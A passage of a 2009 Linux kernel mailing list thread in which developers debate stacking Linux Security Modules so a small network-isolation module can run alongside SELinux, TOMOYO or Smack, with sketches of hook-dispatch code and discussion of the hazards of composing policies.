Dear kernel folks,
There are a variety of places where I'd like to be able to get the kernel to
return EPERM more often [1]. Many of these places already have security hooks.
Unfortunately, I don't feel that I can make effective use of these hooks
because they seem to be "occupied" by the large mandatory access control
frameworks.
I'm hoping that you can tell me why this state of affairs persists.
More specifically, now that LSMs are statically linked, why is it good for the
security hooks to call into a single monolithic "security_ops" struct instead
of cheaper and simpler alternatives?
In particular, what would be worse about a kernel in which each security hook
contained nothing but conditionally-compiled function calls to the appropriate
"real" implementation functions with early-exit jumps on non-zero return codes?
Thanks,
Michael
[1]: Two examples include my recent network-privileges patches and Eric
Biederman's suggestions on how to make unprivileged unshare(CLONE_NEWNET) safe.
I have little doubt that I'd think of more if I thought that the security hooks
were accessible to me.
Michael Stone wrote:
> Dear kernel folks,
>
> There are a variety of places where I'd like to be able to get the
> kernel to
> return EPERM more often [1]. Many of these places already have
> security hooks.
That should make it easy!
>
> Unfortunately, I don't feel that I can make effective use of these hooks
> because they seem to be "occupied" by the large mandatory access control
> frameworks.
The only reason that your use might not be effective is if
you want to integrate with one or more of those frameworks.
Go ahead and use the LSM for your own nefarious purposes, that
is what it is there for. The whole point of the LSM is that
no two projects could agree on the right approach for moving
security forward. Heavens to Betsy, none of the existing
LSMs have demonstrated themselves as the Way and the Light.
The current set of hooks have grown as needed, primarily driven
by the needs of SELinux, the largest of the Mandatory Access
Control frameworks. Most recently growth has matched the needs
of TOMOYO.
> I'm hoping that you can tell me why this state of affairs persists.
Serious security models, including Type Enforcement, Bell
and LaPadula, Biba, Clark/Willson, Simple Separation, and
Green Light Ice remain the interest of a very small fragment
of the lunatic fringe of computer system deployments. So
long as the mechanism that supports this small but vocal
community is adequate to the task and easy for the rest
of the Linux universe to ignore everyone is more or less
content.
>
> More specifically, now that LSMs are statically linked, why is it good
> for the
> security hooks to call into a single monolithic "security_ops" struct
> instead
> of cheaper and simpler alternatives?
By all means, suggest an implementation ...
>
> In particular, what would be worse about a kernel in which each
> security hook
> contained nothing but conditionally-compiled function calls to the
> appropriate
> "real" implementation functions with early-exit jumps on non-zero
> return codes?
The question is not would it be worse, the question has to be
whether it would be better. In particular, would it be better
for the people who want nothing whatever to do with an LSM,
which remains by far the larger set of people.
>
> Thanks,
>
> Michael
>
> [1]: Two examples include my recent network-privileges patches and Eric
> Biederman's suggestions on how to make unprivileged
> unshare(CLONE_NEWNET) safe.
> I have little doubt that I'd think of more if I thought that the
> security hooks
> were accessible to me.
You're arguing for stacking a set of small security modules. This
is a direction that has gotten slammed pretty hard in the past but
that crops up every time someone like you comes along with a
module that serves a specific purpose. Mostly the objections have
come from people who will tell you that something else already
does what you're trying to do, and that all you have to do is take
on the entirety of their monolithic approach and you'll be happy.
I'm behind you 100%. Use the LSM. Your module is exactly why we have
the blessed thing. Once we get a collection of otherwise unrelated
LSMs the need for a stacker will be sufficiently evident that we'll
be able to get one done properly.
And just in case it matters, I understand that this is an unpopular
position. I am an advocate of progress, not necessarily my own
peculiar notions of computer security. I believe that we should keep
trying new things for the simple reason that in the twenty plus
years that I've been working on the problem no one has demonstrated
a solution that addresses more than a fraction of the whole. Lots of
great ideas have gotten discarded because they didn't fit into an
MLS system, SELinux, the Linux file system semantics, or the teeny
tiny little minds that control the IETF.
On Wed, Dec 23, 2009 at 09:29:02PM -0500, Michael Stone ([email protected]) wrote:
> There are a variety of places where I'd like to be able to get the kernel to
> return EPERM more often [1]. Many of these places already have security
> hooks.
>
> Unfortunately, I don't feel that I can make effective use of these hooks
> because they seem to be "occupied" by the large mandatory access control
> frameworks.
I believe you should convice selinux and friends to add support for your
extension, otherwise no distribution will be able to turn it on, since
no two security frameworks can be registered simultaneously.
--
Evgeniy Polyakov
Casey Schaufler <[email protected]> writes:
> I'm behind you 100%. Use the LSM. Your module is exactly why we have
> the blessed thing. Once we get a collection of otherwise unrelated
> LSMs the need for a stacker will be sufficiently evident that we'll
> be able to get one done properly.
My immediate impression is that the big limitation today is the
sharing of the void * security data members of strucutres.
Otherwise multiple security modules could be as simple as.
list_for_each(mod)
if (mod->op(...) != 0)
return -EPERM.
It isn't hard to multiplex a single data field into several with a
nice little abstraction.
With my maintainer of a general purpose kernel hat on I would love to
be able to build in all of the security modules and select at boot
time which ones were enabled.
Eric
Evgeniy Polyakov <[email protected]> writes:
> I believe you should convice selinux and friends to add support for your
> extension, otherwise no distribution will be able to turn it on, since
> no two security frameworks can be registered simultaneously.
I agree, as a LSM module, this purpose is a no sense, because it will
avoid using another security module.
On the other hand, adding this capacity directly to the syscalls seems
to be a little bit ugly (it reminds me security post_accept hook
strategy of returning or not a value).
But the way to go is to add this directly to existing security models,
if it make sens for them.
sam
Eric W. Biederman wrote:
> My immediate impression is that the big limitation today is the
> sharing of the void * security data members of strucutres.
I think the time to change "void * security" is approaching.
What about allocating dedicated "void *" for each in-tree security modules and
let proposed security modules use "void * security" so that proposed security
modules can be evaluated without allocating dedicated "void *", something like
struct foo {
...
#ifdef CONFIG_SECURITY_SELINUX
void *selinux;
#endif
#ifdef CONFIG_SECURITY_SMACK
void *smack;
#endif
#ifdef CONFIG_SECURITY_PROPOSED
void *security
#endif
}
struct bar {
...
#ifdef CONFIG_SECURITY_SELINUX
void *selinux;
#endif
#ifdef CONFIG_SECURITY_PROPOSED
void *security
#endif
}
?
Regarding TOMOYO, "void * security" automatically added to many structure is
nothing but waste of memory because TOMOYO don't need "void * security" except
"struct task_struct".
Quoting Eric W. Biederman ([email protected]):
> Casey Schaufler <[email protected]> writes:
>
> > I'm behind you 100%. Use the LSM. Your module is exactly why we have
> > the blessed thing. Once we get a collection of otherwise unrelated
> > LSMs the need for a stacker will be sufficiently evident that we'll
> > be able to get one done properly.
>
> My immediate impression is that the big limitation today is the
> sharing of the void * security data members of strucutres.
>
> Otherwise multiple security modules could be as simple as.
> list_for_each(mod)
> if (mod->op(...) != 0)
> return -EPERM.
>
> It isn't hard to multiplex a single data field into several with a
> nice little abstraction.
>
> With my maintainer of a general purpose kernel hat on I would love to
> be able to build in all of the security modules and select at boot
> time which ones were enabled.
You're supposed to be able to do that now - use the "security=smack"
or whatever boot option (see security/security.c:choose_lsm() ).
-serge
Quoting Michael Stone ([email protected]):
> Dear kernel folks,
>
> There are a variety of places where I'd like to be able to get the kernel to
> return EPERM more often [1]. Many of these places already have security hooks.
>
> Unfortunately, I don't feel that I can make effective use of these hooks
> because they seem to be "occupied" by the large mandatory access control
> frameworks.
>
> I'm hoping that you can tell me why this state of affairs persists.
>
> More specifically, now that LSMs are statically linked, why is it good for the
> security hooks to call into a single monolithic "security_ops" struct instead
> of cheaper and simpler alternatives?
>
> In particular, what would be worse about a kernel in which each security hook
> contained nothing but conditionally-compiled function calls to the appropriate
> "real" implementation functions with early-exit jumps on non-zero return codes?
The problem is that composing any two security policies can quickly have
subtle, unforeseen, but dangerous effects. That's why so far we have
stuck with the status quo where only one LSM is 'active', but that LSM
can manually call hooks from other LSMs.
So with your module, I'd recommend following the route of the capabilities
LSM. You can provide an optional stand-alone LSM which only hooks your
functions. Then smack, for instance, can call the functions in your LSM
from within its own hooks, or it can simply explicitly assign its hooks to
your functions in smack_ops. Selinux can do the same thing, although I
suspect they would more likely implement their own functions for your newly
hooked sites.
A distro can then compile a kernel with all LSMs compiled in, and switch
behavior by using "security=selinux" vs. "security=prctl_network_lsm"
-serge
Serge Hallyn writes:
> Michael Stone writes:
>> In particular, what would be worse about a kernel in which each security hook
>> contained nothing but conditionally-compiled function calls to the appropriate
>> "real" implementation functions with early-exit jumps on non-zero return codes?
>
> The problem is that composing any two security policies can quickly have
> subtle, unforeseen, but dangerous effects.
First, thanks very much for your helpful explanations and pragmatic advice.
Second, two thoughts and a question:
1. I think you're probably correct when we're discussing security policies
chosen uniformly at random from the space of all possible such policies.
However, I believe that the cost-benefit ratio favors composition quite
strongly when we're discussing real security policies which where designed
with composition in mind, as is the case with my work.
2. The problem you cite is an inherent property of software assurance which
is indepedent of software assurance of information-security-specific
properties. Thus, while you are correct that composition sometimes makes
it harder to assure a system due to the increased number of "moving
parts" that have to fit together perfectly, it also frequently makes the
assurance problem more tractable by reducing the cost to assure the
individual pieces which are being composed.
3. Have you any specific examples of problems that have been clearly averted
by the current arrangement?
> So with your module, I'd recommend following the route of the capabilities
> LSM. You can provide an optional stand-alone LSM which only hooks your
> functions. Then smack, for instance, can call the functions in your LSM
> from within its own hooks, or it can simply explicitly assign its hooks to
> your functions in smack_ops. Selinux can do the same thing, although I
> suspect they would more likely implement their own functions for your newly
> hooked sites.
Doesn't it seem a bit strange to you to be recommending that everyone else
using the five security hooks I want to use modify their code *in detail* to
support my functionality given that my functionality is explicitly intended not
to require any such work on their part?
This seems frankly silly to me, not to mention expensive and error-prone.
Instead, perhaps we'd be better off with something like a declarative
compile-time whitelist or blacklist for compositions?
Regards,
Michael
Quoting Michael Stone ([email protected]):
> Serge Hallyn writes:
> >Michael Stone writes:
> >>In particular, what would be worse about a kernel in which each security hook
> >>contained nothing but conditionally-compiled function calls to the appropriate
> >>"real" implementation functions with early-exit jumps on non-zero return codes?
> >
> >The problem is that composing any two security policies can quickly have
> >subtle, unforeseen, but dangerous effects.
>
> First, thanks very much for your helpful explanations and pragmatic advice.
>
> Second, two thoughts and a question:
>
> 1. I think you're probably correct when we're discussing security policies
> chosen uniformly at random from the space of all possible such policies.
> However, I believe that the cost-benefit ratio favors composition quite
> strongly when we're discussing real security policies which where designed
> with composition in mind, as is the case with my work.
>
> 2. The problem you cite is an inherent property of software assurance which
> is indepedent of software assurance of information-security-specific
> properties. Thus, while you are correct that composition sometimes makes
> it harder to assure a system due to the increased number of "moving
> parts" that have to fit together perfectly, it also frequently makes the
> assurance problem more tractable by reducing the cost to assure the
> individual pieces which are being composed.
>
> 3. Have you any specific examples of problems that have been clearly averted
> by the current arrangement?
If you look back over the archives of when I was pushing the LSM stacker
around 2005, there were several cases where just stacking capability and
selinux were problematic.
http://lkml.indiana.edu/hypermail/linux/kernel/0507.1/0814.html may have
been one instance. (I don't have local archive before 2006 and don't
really care to search atm)
> >So with your module, I'd recommend following the route of the capabilities
> >LSM. You can provide an optional stand-alone LSM which only hooks your
> >functions. Then smack, for instance, can call the functions in your LSM
> >from within its own hooks, or it can simply explicitly assign its hooks to
> >your functions in smack_ops. Selinux can do the same thing, although I
> >suspect they would more likely implement their own functions for your newly
> >hooked sites.
>
> Doesn't it seem a bit strange to you to be recommending that everyone else
> using the five security hooks I want to use modify their code *in detail* to
> support my functionality given that my functionality is explicitly intended not
> to require any such work on their part?
Not at all. It seems prudent. And it's really not an intrusive change -
i.e. look at security/selinux/hooks.c:selinux_ptrace_access_check() calling
cap_ptrace_access_check().
> This seems frankly silly to me, not to mention expensive and error-prone.
>
> Instead, perhaps we'd be better off with something like a declarative
> compile-time whitelist or blacklist for compositions?
Well, taking a step back - what exactly is the motivation for making this
an LSM? Is it just to re-use the callsites? Or to provide a way to turn
off the functionality? I ask bc the API is in the prctl code, so the LSM
is conceptually always there, which is different from other LSMs.
So if you (or your audience) really want this to be an LSM, then you should
probably put your prctl code in a security_task_prctl() hook. Otherwise,
perhaps we should just explicitly call your hooks in wrappers - or whatever was
finally decided should be done with the security/integrity/ima hooks.
-serge
> Well, taking a step back - what exactly is the motivation for making this
> an LSM? Is it just to re-use the callsites?
Yes. Alan Cox, referencing earlier versions of my patches, wrote:
"This is a security model, it belongs as a security model using LSM."
> I ask bc the API is in the prctl code, so the LSM
> is conceptually always there, which is different from other LSMs.
The goal is to provide a stupidly simple unprivileged per-process network
isolation primitive which is broadly available "without jumping through hoops".
(See http://cr.yp.to/unix/disablenetwork.html for a nice writeup.)
I need a primitive like this to further my work on the OLPC Bitfrost security
architecture and to further my more general work on advancing the state of
sandboxing technology. (See sandboxing.org.)
I'm willing to entertain pretty much any implementation or interface request
which meets that goal and which implements the desired semantics.
>>>> In particular, what would be worse about a kernel in which each security
>>>> hook contained nothing but conditionally-compiled function calls to the
>>>> appropriate "real" implementation functions with early-exit jumps on
>>>> non-zero return codes?
>>>
>>> The problem is that composing any two security policies can quickly have
>>> subtle, unforeseen, but dangerous effects.
>>
>> Have you any specific examples of problems that have been clearly averted
>> by the current arrangement?
>
> If you look back over the archives of when I was pushing the LSM stacker
> around 2005, there were several cases where just stacking capability and
> selinux were problematic.
Thank you for the pointers to your earlier work and for the work itself. We
probably wouldn't be having this conversation if your work had been merged.
Unfortunately, that happy event did not come to pass.
Thus, returning to today: the most serious objection that I've heard so far
about LSM stacking is that making it too "automatic" is likely to result in
preventable security faults.
For this argument to be valid, there *must* also be a second clause which
states that the cost of the unknown security faults prevented by making
stacking hard exceeds the cost of the known security faults which would be
prevented by the additional security primitives that stacking, in any usable
form, would permit. Otherwise, the sustaining the objection leads to a worse
outcome.
Now, given this argument, what do you actually think about systems that, like
your work, enable stacking but which do so "less automatically", e.g. by
hand-writing the implementations of the security_*() hooks like so:
int security_socket_create(int family, int type, int protocol, int kern)
{
int ret = 0;
#ifdef CONFIG_SECURITY_SELINUX
ret = selinux_security_socket_create(family, type, protocol, kern);
if(ret)
goto out;
#endif
#ifdef CONFIG_SECURITY_TOMOYO
ret = tomoyo_security_socket_create(family, type, protocol, kern);
if(ret)
goto out;
#endif
#ifdef CONFIG_SECURITY_SMACK
ret = smack_security_socket_create(family, type, protocol, kern);
if(ret)
goto out;
#endif
#ifdef CONFIG_SECURITY_PRCTL_NETWORK
ret = prctl_network_socket_create(family, type, protocol, kern);
if(ret)
goto out;
#endif
out:
return ret;
}
This way, the behavior of the system is as predictable as possible, we can
statically check for known unsafe configurations, manual tweaking of the order
in which functionality is composed is possible, and security is fully
"pay-as-you-go".
Where is the flaw in this approach?
Regards,
Michael
P.S. - I think I will write up some new patches for prctl_network based on this
idea so that we can see what they look like.
On Thu, 2009-12-24 at 23:50 -0600, Serge E. Hallyn wrote:
<snip>
> Well, taking a step back - what exactly is the motivation for making this
> an LSM? Is it just to re-use the callsites? Or to provide a way to turn
> off the functionality? I ask bc the API is in the prctl code, so the LSM
> is conceptually always there, which is different from other LSMs.
>
> So if you (or your audience) really want this to be an LSM, then you should
> probably put your prctl code in a security_task_prctl() hook. Otherwise,
> perhaps we should just explicitly call your hooks in wrappers - or whatever was
> finally decided should be done with the security/integrity/ima hooks.
>
> -serge
Any place that a security hook and the IMA call co-existed, the IMA call
was moved to the security_ hook (security/security.c).
Mimi
Quoting Michael Stone ([email protected]):
> Now, given this argument, what do you actually think about systems that, like
> your work, enable stacking but which do so "less automatically", e.g. by
> hand-writing the implementations of the security_*() hooks like so:
>
> int security_socket_create(int family, int type, int protocol, int
> kern) {
> int ret = 0;
>
> #ifdef CONFIG_SECURITY_SELINUX
> ret = selinux_security_socket_create(family, type, protocol, kern);
> if(ret)
> goto out;
> #endif
>
> #ifdef CONFIG_SECURITY_TOMOYO
> ret = tomoyo_security_socket_create(family, type, protocol, kern);
> if(ret)
> goto out;
> #endif
>
> #ifdef CONFIG_SECURITY_SMACK
> ret = smack_security_socket_create(family, type, protocol, kern);
> if(ret)
> goto out;
> #endif
>
> #ifdef CONFIG_SECURITY_PRCTL_NETWORK
> ret = prctl_network_socket_create(family, type, protocol, kern);
> if(ret)
> goto out;
> #endif
>
> out:
> return ret;
> }
>
> This way, the behavior of the system is as predictable as possible, we can
> statically check for known unsafe configurations, manual tweaking of the order
> in which functionality is composed is possible, and security is fully
> "pay-as-you-go".
>
> Where is the flaw in this approach?
Well, according to Mimi's email this is essentially what was
decided upon for IMA. So I think workable guidelines would
be that anything which can't possibly be expected to interfere
with other LSMs can be added like that.
More generally, the flaw in the approach is that the hooks for
several permutations of LSMs might interfere with each other.
So for instance the cap_inode_setxattr() hook should always
be called if selinux is not enabled, but should not be called
for security.selinux namespace xattrs if selinux is enabled.
Rather than try to capture all the permutations in one
security_socket_create() hook, we would want to just arrange
some stacking orders, and have the 'parent' hooks call the
'child' hooks. That is precisely what I was suggesting in my
previous posts.
Oh, you'll also want to take into consideration whether
the LSM is actively loaded, since I can compile a kernel
with smack, SELinux, TOMOYO, and your system, but only
load smack. So just #ifdef isn't enough. Just a note.
Anyway, your LSM may be specific enough to qualify for the
IMA treatment (like you suggest). So no harm in trying :)
But I wouldn't try to overly generalize the stacking, as I'd
fear it risks becoming a drag on the acceptence of the rest of
your patch.
-serge
Serge E. Hallyn wrote:
> Well, according to Mimi's email this is essentially what was
> decided upon for IMA. So I think workable guidelines would
> be that anything which can't possibly be expected to interfere
> with other LSMs can be added like that.
>
> More generally, the flaw in the approach is that the hooks for
> several permutations of LSMs might interfere with each other.
> So for instance the cap_inode_setxattr() hook should always
> be called if selinux is not enabled, but should not be called
> for security.selinux namespace xattrs if selinux is enabled.
May I do opportunistic question regarding TOMOYO?
I'm distributing SELinux+TOMOYO kernels (since Fedora Core 3) and
AppArmor+TOMOYO kernels (since openSuSE 10.1), but I didn't encounter problems.
TOMOYO can use similar approach which disablenetwork uses (i.e. adding
dedicated variable to task_struct and not using "void *security" and not using
LSM hooks for allocating/freeing "void *security" and not using xattr of
filesystems).
@@ -1557,6 +1559,10 @@ struct task_struct {
unsigned long memsw_bytes; /* uncharged mem+swap usage */
} memcg_batch;
#endif
+#ifdef CONFIG_CCSECURITY
+ struct ccs_domain_info *ccs_domain_info;
+ u32 ccs_flags;
+#endif
};
I believe TOMOYO can safely coexist with other security modules.
Why TOMOYO must not be used with SELinux or Smack or AppArmor?
What interference are you worrying when enabling TOMOYO with SELinux or Smack
or AppArmor?
Regards.
On Sun, 27 Dec 2009 13:02:54 +0900, Tetsuo Handa said:
> I believe TOMOYO can safely coexist with other security modules.
> Why TOMOYO must not be used with SELinux or Smack or AppArmor?
> What interference are you worrying when enabling TOMOYO with SELinux or Smack
> or AppArmor?
(It's 5AM and I just got woken up by a thundering herd of cats and can't
get back to sleep, but there's no caffeine to be found.. Yee hah)
Sure, it's *possible* to create a system where you've loaded 2 security systems
and have it work. But the general consensus is that if you're running one
system and want to run a second, it's easier to ask yourself *why* you want to
run the second, and see if there's some way to get the added functionality
supported in the first system. Presumably your reason is of the form "I'm
running XYZ, but it doesn't stop attack ABC like ZQW does". Usually, the right
answer is to fix XYZ, not try to load ZQW on top of it. But if you insist.. ;)
The basic problem is that large complete MAC systems like TOMOYO, SELinux,
Smack, or AppArmor are complicated. In addition, they are unable to look at
each other's policies to detect potential conflicts. As a result, although
it's probably *possible* to create a system that loads both a TOMOYO and
an SELinux policy, it's hazardous:
First, it's possible to totally screw up your box - consider 2 defective
policies where each prevents a reload of the other's policy. Now note that it
doesn't even need to be the *policy* - if the Tomoyo policy files get
mislabeled with the wrong SELinux context, then an SELinux component will
probably prevent access to the policy and thus prevent the load. Your system
is now *at best* running SELinux-only (and now vulnerable to to any attacks you
were depending on Tomoyo to stop). At worst, the wrecked Tomoyo policy will
mean that Tomoyo will then reject the SELinux 'restorecon' command to correct
the labels, leaving you in a situation where you can't recover your box.
Second, it's unclear what a combo of two different MAC systems would *mean*,
and whether it creates corner cases that can be exploited - the "two systems
block each other's reloads" mentioned above is but one example. If a system that
depends on inode labeling is active at the same time as a path-based system,
what happens if you manage to do an 'mv' command that changes the security
context in the path-based system while leaving the inode label the same, or
relabel an inode without rename it to match? The file has just experienced
a security transition for one system, but not the other. Are there any
files and transitions where the mismatch matters?
If the two systems load policies with the same semantics, why are you
bothering? And if they load different semantics, can the difference be
leveraged by an attacker?
In addition, we've already actually seen composition bugs before - when a
program expecting standard Linux DAC failed when it hit the composition of DAC
plus capabilities. It's helpful to go re-read the story of the Sendmail
capabilities bug, where the Sendmail code wasn't capability-aware, and thus
didn't forsee any way that doing a setuid()/setgid() while running as root
could possibly fail. When it *did* fail, Sendmail thought it was running as a
mortal, but actually still had all privs. Hilarity ensues.
The problem is that for you to *really* be able to safely compose (for instance)
Tomoyo and SELinux, you need to go through *every* Tomoyo-aware program and
verify "this will Do The Right Thing even if an SELinux policy unexpectedly
fails us here" at every point - and then repeat for every SELinux-aware
program regarding a Tomoyo-induced rejection.
And then you get to repeat the process for each Tomoyo and SELinux *policy*
you want to use...
Like I said - it's usually more sane to go back and re-evaluate *why*, and
see if you can fix one system or the other to address your needs.
Quoting [email protected] ([email protected]):
> On Sun, 27 Dec 2009 13:02:54 +0900, Tetsuo Handa said:
> > I believe TOMOYO can safely coexist with other security modules.
> > Why TOMOYO must not be used with SELinux or Smack or AppArmor?
> > What interference are you worrying when enabling TOMOYO with SELinux or Smack
> > or AppArmor?
...
> First, it's possible to totally screw up your box - consider 2 defective
> policies where each prevents a reload of the other's policy. Now note that it
> doesn't even need to be the *policy* - if the Tomoyo policy files get
> mislabeled with the wrong SELinux context, then an SELinux component will
> probably prevent access to the policy and thus prevent the load. Your system
> is now *at best* running SELinux-only (and now vulnerable to to any attacks you
> were depending on Tomoyo to stop). At worst, the wrecked Tomoyo policy will
> mean that Tomoyo will then reject the SELinux 'restorecon' command to correct
> the labels, leaving you in a situation where you can't recover your box.
>
> Second, it's unclear what a combo of two different MAC systems would *mean*,
> and whether it creates corner cases that can be exploited - the "two systems
> block each other's reloads" mentioned above is but one example. If a system that
> depends on inode labeling is active at the same time as a path-based system,
> what happens if you manage to do an 'mv' command that changes the security
> context in the path-based system while leaving the inode label the same, or
> relabel an inode without rename it to match? The file has just experienced
> a security transition for one system, but not the other. Are there any
> files and transitions where the mismatch matters?
>
> If the two systems load policies with the same semantics, why are you
> bothering? And if they load different semantics, can the difference be
> leveraged by an attacker?
Agree with everything Valdis said (including after this part, which I cut).
Why do you compose the two? I assume you went to the trouble because
you have a specific use case, a definite advantage?
-serge
>Sure, it's *possible* to create a system where you've loaded 2 security systems
>and have it work. But the general consensus is that if you're running one
>system and want to run a second, it's easier to ask yourself *why* you want to
>run the second, and see if there's some way to get the added functionality
>supported in the first system.
Read the thread, where you can find the answer *why*. The question has
already been answered. As far as I can tell, the answer is not what you
are presuming. As far as I can tell, the answer is, the original poster
wants a simple, fairly high-assurance, easy-to-configure way to disable
network access for certain processes, to facilitate privilege-separated
software architectures. That's a great goal. It's a goal that is not
easily supported by, say, SELinux.
So now suppose you are starting with a system that's running SELinux,
and you want to add functionality to meet the original poster's goals.
What do you do? You've basically got two choices: (a) hardcode it in,
ignoring the LSM hooks; or (b) build a little LSM that enforces this
using the LSM hooks.
If you go with approach (a), Alan Cox gives you a hard time and says
"this ought to be done with a LSM".
If you go with approach (b), you're dead in the water: because people
have a kneejerk reaction against ever allowing composition of LSMs,
there's no way to use your own little LSM on your system (without
turning off SELinux or whatever LSM was already installed -- and
this cure is arguably worse than the disease).
It's a catch-22. What are you supposed to do? The poster has asked for
your advice about the best way to accomplish his goals, and is open to
any approach that meets these goals. So far all I have heard is "No".
I think folks could be more constructive.
I think people have committed a logical fallacy here: they've reasoned
that in the general case, composition is hard to reason about, therefore
all composition must be bad. The "therefore" does not follow.
>The basic problem is that large complete MAC systems like TOMOYO, SELinux,
>Smack, or AppArmor are complicated. In addition, they are unable to look at
>each other's policies to detect potential conflicts. As a result, although
>it's probably *possible* to create a system that loads both a TOMOYO and
>an SELinux policy, it's hazardous:
But that's irrelevant. Re-read the thread. The poster doesn't want
to compose TOMOYO+SELinux. He wants to compose SELinux+his little LSM.
Or AppArmor+his little LSM. Or (whatever LSM was already installed)+his
little LSM. TOMOYO+SELinux is a strawman.
The fact that composing TOMOYO+SELinux is hazardous says little or nothing
about the merits of composing SELinux+his little LSM. His little LSM
is, well, little, and as a result likely to be noticeably easier to
reason about. Sure, there may be tricky corner cases. Sure, there
could be subtle hazards lurking here. But don't jump immediately to
the worst case when the worst case isn't what's at issue here.
Yes, composition is hard. Look, software is hard. We suck it up
and deal with it. We make the best of it. We choose architectures
that minimize the likelihood of breakage. (And in many ways that is
the kind of thing the original poster has done, and is open to doing.)
But we don't give up and say, oh forget about this software stuff,
it's too hard, let's go to the beach instead.
On Sun, 27 Dec 2009 20:28:23 GMT, David Wagner said:
> Read the thread, where you can find the answer *why*. The question has
> already been answered.
That was the *original* use case for Michael Stone's module. However, in the
mail that I was specifically replying to:
On Sun, 27 Dec 2009 13:02:54 +0900, Tetsuo Handa said:
> I believe TOMOYO can safely coexist with other security modules.
> Why TOMOYO must not be used with SELinux or Smack or AppArmor?
> What interference are you worrying when enabling TOMOYO with SELinux or Smack
> or AppArmor?
Tetsuo asked specifically about the issues of composing two MAC implementations,
so I answered that issue as opposed to "composing a MAC with a small LSM".
I agree that composing a MAC system plus something small should be easier -
as far back as April 2002 there was discussion of stacking SELinux and the
OWLSM (openwall/grsecurity style patches). And we've *still* not managed to
get a solution for that issue (though Serge Hallyn did a yeoman job in trying
to get a stacker accepted back in 2004 or so).
I wonder if we need to go look at Serge's patch set again. It's getting tiring
to revisit the issue every 18 months when somebody wants a small LSM, but can't
do it because large MACs have essentially co-opted the interface.
Thank you for your opinion.
[email protected] wrote:
> Usually, the right answer is to fix XYZ, not try to load ZQW on top of it.
Yes, to fix SELinux is the right answer if we can integrate TOMOYO into
SELinux. But SELinux had been advertised as label based access control and had
been rejecting pathname based access control. I doubt SELinux wants to
integrate pathname based access control.
Screwed up due to improper policy configurations / conflicts and unable to
recover cannot be reasons to reject enabling multiple LSM modules.
Such situations do happen even single LSM module.
There are lots of access control mechanisms outside LSM.
Executing SELinux's restorecon can fail due to ENOMEM.
The restorecon may not be executed due to "mount -o noexec".
The restorecon may be replaced by "mount --bind /bin/true /sbin/restorecon".
The restorecon may not work as expected due to improper LD_PRELOAD environment.
Changing xattr of an inode may fail due to EIO.
Note that SELinux or TOMOYO is not the only factor that makes operations fail.
For SELinux, TOMOYO is one of factors that make operations for SELinux fail.
For TOMOYO, SELinux is one of factors that make operations for TOMOYO fail.
SELinux and TOMOYO have to prepare for bad consequence when failures like
ENOMEM, EIO, EACCES, EPERM occurred outside SELinux or TOMOYO.
People enable SELinux and/or TOMOYO by accepting the risk shown above.
Those who think the benefit of enabling SELinux is larger than the risk of
enabling SELinux enable SELinux. Those who think the risk of enabling SELinux
is larger than the benefit of enabling SELinux don't enable SELinux.
Those who think the benefit of enabling both SELinux and TOMOYO is larger than
the risk of enabling both enable both. Those who think the risk of enabling
both is larger than the benefit of enabling both don't enable both.
It is Linux users who evaluate, not Linux kernel developers. Keeping SELinux
and TOMOYO mutually exclusive deprives Linux users of chances to evaluate, and
prevents Linux kernel developers from coming up with new ideas/implementations.
Why not to give Linux users choice for enabling both?
Serge E. Hallyn wrote:
> Why do you compose the two? I assume you went to the trouble because
> you have a specific use case, a definite advantage?
SELinux is useful for protecting daemons as ready made policy is distributed,
but console/ssh sessions are not protected (unconfined_t) for most systems.
TOMOYO is useful for restricting console/ssh sessions as administrators can
develop policy by their own.
Both SELinux and TOMOYO have ability to cover all processes (from /sbin/init
till /sbin/poweroff) or targeted processes (e.g. only daemons). But SELinux is
not widely used for protecting all processes. TOMOYO can provide some
protection for processes which SELinux doesn't protect.
Also, people know we sometimes need to restrict string parameters for avoiding
unwanted consequence. TOMOYO can pay attention to string parameters whereas
SELinux can't.
Regards.
On Mon, 28 Dec 2009 20:51:49 +0900, Tetsuo Handa said:
> Yes, to fix SELinux is the right answer if we can integrate TOMOYO into
> SELinux. But SELinux had been advertised as label based access control and had
> been rejecting pathname based access control. I doubt SELinux wants to
> integrate pathname based access control.
No, that's missing the point. Let's say you have an SELinux system, and
you want to use TOMOYO on top of it (or the other way around, it works either
way). Now hopefully, you're not doing it just to prove it can be done, you're
doing it because you have a specific issue or threat model that TOMOYO can
address that SELinux can't - for instance "A program can do FOO, BAR, and
then BAZ, and SELinux is unable to stop that but TOMOYO can".
So the question becomes "*why* can't SELinux stop FOO, BAR, BAZ, and can it
be fixed to be able to do so?"
On Mon, 28 Dec 2009 20:51:49 +0900, Tetsuo Handa said:
(Hit send too soon)
> Both SELinux and TOMOYO have ability to cover all processes (from /sbin/init
> till /sbin/poweroff) or targeted processes (e.g. only daemons). But SELinux is
> not widely used for protecting all processes. TOMOYO can provide some
> protection for processes which SELinux doesn't protect.
OK, this was what I was talking about - what processes does TOMOYO protect
that SELinux doesn't? Or are you suggesting "use TOMOYO when using the SELinux
'targeted' policy that only tracks some processes"? It would seem that a better
solution there would be to just go ahead and use the 'strict' or 'mls' policies
if you want coverage of all processes - having some processes under SELinux
and some under TOMOYO rules is just asking for confusion...
> Also, people know we sometimes need to restrict string parameters for avoiding
> unwanted consequence. TOMOYO can pay attention to string parameters whereas
> SELinux can't.
Which string parameters are these? Perhaps a better approach than trying to
layer all of TOMOYO on SELinux is to create a small targeted "look at string
parameters" LSM and run *that* on top. Would require LSM stacking, but so would
doing all of TOMOYO.
On Sat, Dec 26, 2009 at 14:50, Michael Stone <[email protected]> wrote:
>> I ask bc the API is in the prctl code, so the LSM
>> is conceptually always there, which is different from other LSMs.
>
> The goal is to provide a stupidly simple unprivileged per-process network
> isolation primitive which is broadly available "without jumping through
> hoops".
>
> (See http://cr.yp.to/unix/disablenetwork.html for a nice writeup.)
> I need a primitive like this to further my work on the OLPC Bitfrost
> security
> architecture and to further my more general work on advancing the state of
> sandboxing technology. (See sandboxing.org.)
>
> I'm willing to entertain pretty much any implementation or interface request
> which meets that goal and which implements the desired semantics.
If you aren't using SELinux at this time (and therefore have no
existing policy), then it's actually pretty straightforward
(relatively speaking) to set up for your particular goals. On top of
that, once you actually get the system set up, it's very easy to
extend your sandbox security model to additional processes, actions,
etc.
In this example, you would set up a very minimal stripped-down SELinux
policy in which you only define 3 types (file_t, regular_t and
nonetwork_t). Any process would be allowed to "dyntransition" from
regular_t to nonetwork_t, but not the reverse. regular_t would be
allowed to do anything. nonetwork_t would be allowed to do anything
that (A) does not involve the network *and* (B) does not compromise a
regular_t process. file_t would only be used for on-disk files.
If you want to have some program binaries *automatically* run in
